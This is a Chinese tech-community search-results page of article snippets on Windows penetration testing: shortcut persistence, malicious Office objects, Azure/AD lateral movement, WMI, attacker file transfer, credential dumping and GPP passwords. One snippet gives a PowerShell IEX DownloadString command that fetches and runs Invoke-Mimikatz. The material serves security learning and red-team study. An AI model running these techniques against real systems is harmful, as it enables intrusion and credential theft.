首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

Window权限维持(四):快捷方式

更隐蔽方法是修改现有合法快捷方式属性,但是生成具有不同特征快捷方式可以为代码执行提供灵活性。...默认情况下,此模块将使用写字板图标伪装成可信任应用程序。 ? 快捷方式目标字段将使用执行Base64有效负载PowerShell命令填充。可以快捷方式转移并移动到启动文件夹中以保持持久性。...Empire-写字板快捷方式快捷方式目标字段将使用执行Base64有效负载PowerShell命令填充。可以快捷方式转移并移动到启动文件夹中以保持持久性。.../pentestlab.exe;或者,该项目包含一个VBS脚本,该脚本可以执行与PowerShell版本相同操作。...或者,该项目包含一个VBS脚本,该脚本可以执行与PowerShell版本相同操作。 ?

1.3K30

利用Office文档结合社会工程学手段欺骗用户执行恶意代码

某些文件类型(如EXE文件)触发另一个警告对话框。但是通过使用其他可执行文件类型可以轻松避免此对话框。 ? 保护模式IE被禁用用于控件,这确实会阻止显示其他对话框——如UAC对话框。...Poc 下面的PowerShell脚本尝试创建包含嵌入式Internet Explorer对象Word文档。该脚本使用Packager对象创建一个嵌入文件对象,单击该对象触发文件下载功能。...单击设置action属性嵌入对象,导致打开定义URL。常规URL将在默认浏览器中打开,但文件URL(包括共享文件)直接打开。...显示一个警告对话框,但此对话框与其他警告对话框略有不同,如图6所示。此警告对话框对于所有文件类型都是相同。 ? Forms.HTML:Image.1接受一个src,可用于配置文档中显示图像。...Poc 以下PowerShell脚本用于创建具有嵌入Forms.HTML:Image.1对象Word文档,单击该对象导致计算器打开。

2.2K30
您找到你想要的搜索结果了吗?
是的
没有找到

windows系统安全|Windows渗透基础大全

) Windows中加载并执行PowerShell脚本 本地加载并执行PowerShell脚本 远程下载并执行PowerShell脚本 Windows中批处理文件 Windows中快捷键操作 Windows...删除一个文件夹 move 1.txt d:/ 1.txt文件移动到d盘下 type 123.txt...中加载并执行PowerShell脚本 Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework强大功能。...更多关于PowerShell用法:PowerShell使用浅析 本地加载并执行PowerShell脚本 在cmd当前目录下有PowerView.ps1脚本,并执行其中Get-Netdomain模块...)是Microsoft Windows中一个重要数据库,用于存储系统和应用程序配置信息 HKEY_CLASSES_ROOT 管理文件系统,根据windows中安装应用程序扩展名,该根键指明其文件类型名称

1.7K10

从上而下死亡:从 Azure 到 On-Prem AD 横向移动

其他 Azure 对象(例如用户和组)具有“OnPremSecurityIdentifier”属性,其中列出了对象本地 SID,但该信息似乎不适用于设备。...点击“Policy”部分下“Scripts”,进入脚本管理页面: image.png 在这里,我们添加新 PowerShell 脚本。...单击“添加”,然后单击“Windows 10:” image.png 这将带您进入“添加 Powershell 脚本”页面。在第一页上,您将输入脚本名称和简要说明。...为了一个简单演示,我们现在坚持使用“Hello World”脚本: image.png 在下一页上,单击文件夹,然后从常用对话窗口中选择您 PS1。...有两个租户级角色具有 PowerShell 脚本添加到 Endpoint Manager 明确能力:“全局管理员”和“Intune 管理员”。

2.5K10

Powershell基础入门与实例初识

参数时,PowerShell 显示该 cmdlet 帮助。 Get-Service -? 通用参数: 参数由 PowerShell 引擎控制, 通用参数行为方式始终相同。...外部可执行文件,或具有已注册文件类型处理程序文件也被归类为命令。...名词 在 PS cmdlet 名称中连字符后面的单词。 名词描述了 cmdlet 在其上进行操作资源。 参数集 可用于相同命令中以执行特定操作一组参数。...脚本模块文件具有 .psm1 文件扩展名。 shell 用于命令传递到操作系统命令解释器。 开关参数 一个不带实参形参。 终止错误 阻止 PS 处理命令错误。...PS数据文件 具有 .psd1 文件扩展名文本文件。 PS 数据文件用于多种用途,例如存储模块清单数据和存储用于脚本国际化已翻译字符串。 PS驱动器 一个提供直接访问数据存储虚拟驱动器。

4.2K20

WMI 攻击手法研究 – 探索命名空间、类和方法 (第二部分)

命名空间 让我们简单回顾一下命名空间是什么: 命名空间结构信息类似于文件系统中文件夹,但是,与物理位置 (例如磁盘上) 不同,它们本质上更具有逻辑 WMI 中所有命名空间都是 __Namespace...可以实现相同目的: Get-CimInstance -Namespace root -ClassName __Namespace OK,上面已整整齐齐列出来了,那嵌套名称空间呢?...我们已经看到 root 命名空间下有几个命名空间,只需要编写一个脚本,递归地获取名称空间 (来自 PSMag): Function Get-WmiNamespace { Param (...类,该类具有一个名为 Description 可写属性。...让我们使用 Set-WmiInstance 属性名称更新为 PewOS: 使用 Set-CimInstance 也可以实现相同效果,但这留给读者去探索。 5 结论 哇,又是一篇长文!

1.5K21

针对黑客Windows文件传输总结

/nc.exe" C:\temp\nc.exe Windows 10 和 Server 2019 具有内置 cURL (curl.exe),可用于下载文件,其方式与在 Linux 计算机上使用方式相同...使用 SimpleHTTPServerWithUpload.py,您仍然可以获得下载文件常规目录列表,并具有 GUI 上传功能额外好处,该功能可用于轻松地文件渗漏回攻击者计算机。...4.2上传文件到攻击者FTP服务器:cmd.exe 我们对用于 ftp.txt 文件制作为“PUT”而不是“GET” PowerShell 命令进行了相同更改,我们还将对 cmd.exe 版本进行更改...通过攻击者计算机上共享,我们实际上可以直接从共享文件夹在受害者上执行文件。例如,我们可以使用共享 nc.exe 获取反向 shell,而无需将其复制到受害者。...PS1 脚本加载到evil-winrm 会话中就像按名称执行任何脚本一样简单。由于-s开关指向我们脚本目录,因此我们可以双击来查看所有可用 PS1 脚本

50011

ATT&CK框架:攻击者最常用TOP7攻击技术及其检测策略

对Mitre ATT&CK和Red Canary分别整理得出Top 20技术进行对比分析,我们可以发现有7项技术是重合,分别为PowerShell脚本执行、命令行界面、注册表Run Key/ 启动文件夹...这些程序将在用户上下文中执行,并具有与账户相同权限级别。 注册表run key和启动文件夹历来都是各类攻击者实现持久化重要目标。...攻击者仅需要用户级别的权限,并具有写入注册表或将有效负载拖放到启动文件夹功能。 虽然实现起来相对简单,但非常有效。...针对该攻击技术,可以在持久化机制生命周期三个不同点上有效地实现检测:安装时、休眠时以及触发时。 在安装时检测run key和启动文件夹项目需要监视特定注册表和文件系统路径变更情况。...例如,如果要查找wscript.exe,则应查找具有名称二进制文件,也应查找具有原始文件名WScript任何二进制文件。

1.5K10

Office文档嵌入对象点击执行社工技巧

在Office 2016和Office 365还添加了其它安全措施(如GPO等),这样当用户从Internet下载文档时宏完全被禁用,以及阻止在Packer文件扩展名黑名单列表中文件类型运行。...POC 以下PowerShell脚本尝试创建包含嵌入式Internet Explorer对象Word文档。...该脚本使用Packager对象创建了一个看起来像是嵌入文件对象,单击该对象触发文件下载功能。 ? ?...常规URL将在默认浏览器中打开,但文件URL(包括共享文件)将会被直接打开。这将弹出一个警告对话框,但此对话框与其他警告对话框略有不同,如下图所示。 ?...POC 以下PowerShell脚本用于创建具有嵌入Forms.HTML:Image.1对象Word文档,单击该对象打开计算器。 ? ?

2K60

获取Windows系统密码凭证总结

2 内容速览 Windows 加密简介 在Windows系统中,通常会使用哈希(hash)转化我们存入密码,哈希是目标文本转换成具有相同长度,不可逆字符串,具体到应用层还有很多不同分支 Windows...Windows 凭证获取 使用powershell脚本 powershell脚本:[1] https://raw.githubusercontent.com/samratashok/nishang/master...在cmd中使用如下命令,脚本加载到内存中直接执行 powershell IEX (New-Object Net.WebClient).DownloadString('脚本下载地址');Invoke-Mimikatz..., 主要用于桌面应用开发人员对应用一些检测处理,我们使用Procdump实现主要功能是正在运行程序生成静态文件 方便我们进行分析操作,我在上述介绍中提过,处理我们密码程序是lsass.exe,...lsass文件移动到本机中(最好将此文件和mimikatz.exe放在同一个文件夹,如果不是同一个文件夹,需要在猕猴桃中cd到lsass所在文件夹中) # 载入静态lsass文件 sekurlsa:

63910

2.Powershell基础入门学习必备语法介绍

2.外部可执行文件或具有已注册文件类型处理程序文件也被归类为命令。...Bypass: 没有任何阻止也没有警告或提示;此执行策略设计用于PowerShell脚本内置到更大应用程序中配置,或者用于PowerShell具有自己安全模型程序基础配置。...名词 在 PS cmdlet 名称中连字符后面的单词。 名词描述了 cmdlet 在其上进行操作资源。 参数集 可用于相同命令中以执行特定操作一组参数。...脚本模块文件具有 .psm1 文件扩展名。 shell 用于命令传递到操作系统命令解释器。 开关参数 一个不带实参形参。 终止错误 阻止 PS 处理命令错误。...PS数据文件 具有 .psd1 文件扩展名文本文件。 PS 数据文件用于多种用途,例如存储模块清单数据和存储用于脚本国际化已翻译字符串。 PS驱动器 一个提供直接访问数据存储虚拟驱动器。

5K10

Red Team 工具集之攻击武器库

攻击者可以欺骗用户运行含有该漏洞 PPT 文件,导致获取和当前登录用户相同代码执行权限。...这样可以绕过很多对内容和文件类型检测对安全工具。...它可用于 shellcode 注入本机 Windows 应用程序(仅限于 32 位应用程序)。shellcode 可以是你自己写或者通过框架生成,比如Metasploit。...https://github.com/Arvanaghi/CheckPlease Invoke-PSImage 这个工具可以 powershell 脚本嵌入到 PNG 图片像素中,从而隐藏恶意脚本,...补丁技术包括: 1、附加到文本段,数据段前一页或者更多页 2、文本段和数据段之间如果有空白空间可以利用 3、 stub 附加到数据段并使其可执行 4、文本段扩展到数据段之后 5、替换一个节点,替换掉

2.6K00

红队技巧-常规横向手法

然后让跳板机使用copy命令远程操作,metasploit生成payload文件Gamma.exe复制到目标主机DC系统C盘中。 3. 再在目标主机DC上创建一个名称为“backdoor”服务。...3.WMI会建立一个共享文件夹用于远程读取命令执行结果。 4.当用户输入命令时,WMI创建进程执行该命令,然后把结果输出到文件,这个文件位于之前创建共享文件夹中。...5.通过FSO组件访问远程共享文件夹结果文件,结果输出。 6.当结果读取完成时,调用WMI执行命令删除结果文件,最后当WMIEXEC退出时,删除文件共享。...,支持py和exe两种文件类型)。...ProgID不能保证是唯一,并且与CLSID不同,并非每个类都与ProgID相关联。 AppID -该应用程序标识符用于指定一个配置或多个COM对象与同一可执行相关联。

2K20

PowerShell实战:文件操作相关命令笔记

1、New-Item 创建新项命令cmdlet New-Item 创建新项并设置其值。 可创建项类型取决于项位置。 例如,在文件系统 New-Item 中创建文件和文件夹。...表示当前操作目录-Value 指定文件内容常用参数介绍 ● -Name:指定新项名称。...可以指定新项名称或者指定新项路径 ● -Path:指定新项位置路,如果省略的话表示当前目录,支持多个字符串通过逗号分割 ● -ItemType:指定新项目的指定提供者类型(File 文件,SymbolLink...还可以通过管道值传递给 New-Item ● -Confirm:用于创建操作运行cmdlet之前是否需要确认 ● -Force:针对文件夹,不会覆盖,只会返回之前创建文件夹,针对文件或者注册表会覆盖文件内容...它支持删除许多不同类型项,包括文件、文件夹、注册表项、变量、别名和函数。

30420

四十五.Windows安全基础、注册表和安全常用DOS命令(2)

服务决定了计算机一些功能是否被启用,不同服务对应功能不同,通过计算机提供服务可以有效地实现资源共享。...根据在Windows中安装应用程序扩展名,该根键指明其文件类型名称,相应打开该文件所要调用程序等等信息。 HKEY_CURRENT_USER 管理系统当前用户信息。...ARP协议是IP地址映射为MAC地址协议,其在协议上使用ARP请求及ARP应答报文来实现。 net view:查看局域网内其他计算机名称 telnet:连接远程终端。...rd file_name:删除文件夹。 ren 原文件名 新文件名:重命名文件名称。...[网络安全] 二十二.Powershell基础入门及常见用法 [网络安全] 二十三.Powershell基础入门之常见语法及注册表 Windows PowerShell 是一种命令行外壳程序和脚本环境,

6.5K20

Win系统下文件夹映射实现(文件夹从一个盘映射到另一个盘)

Link:指定新符号链接名称。...Target:指定新链接引用路径(相对或绝对) 如G盘123文件夹映射到L盘并重命名为test mklink 硬链接/H和符号链接/D区别 硬链接只能用于文件,不能用于文件夹,而且硬链接和目标文件必须在同一个分区或者卷中...但是硬链接具有以下一些不同地方。 (1)硬链接必须引用同一个分区或者卷中文件,而符号链接可以指向不同分区或者共享文件夹文件或者文件夹。...(8)对硬链接进行NTFS权限修改,会同时影响到目标文件(因为两者等价),而符号链接和目标文件可以设置不同NTFS权限。...如分别用 mklink /D dird tdir 和 mklink /J dirj tdir 创建 dird、dirj 对相对目录 tdir 符号链接和目录联接,之后 dird、dirj 移动到其它目录下

69310

域渗透学习

黄金票据用于伪造TGT,拿到TGT就可以访问域内所有主机 - TGS 允许访问某一项服务访问票据。TGS票据正常才可以访问对应服务 白银票据用于伪造TGS。 TGT、TGS票据具有时效性。...通过这些策略可以获取更多相关域信息。 ---- 1.SYSVOL SYSVOL是存储域公共文件服务器副本共享文件夹,在域中所有的域控制器之间复制。...同时,存放在Sysvol文件夹信息会复制到域中所有DC上 域服务器一般都会共享这个文件夹,或者搜索当前机器下XML文件包含凭据: 映射驱动(Drives.xml) 数据源(DataSources.xml...---- 2.GPP漏洞利用实例 由域控分发策略到组织单位,然后利用GPP获取敏感信息: 2.1 创建组策略 ①创建组织单位,需要下发策略用户移动到此单位。...将该cpassword密码值放到powershell脚本里面然后执行脚本读取得到组策略下发密码 ? 综上所述:拿到域主机一定要打开访问域策略共享文件夹,可以看到拿到域主机被下发了哪些策略。

1.5K31
领券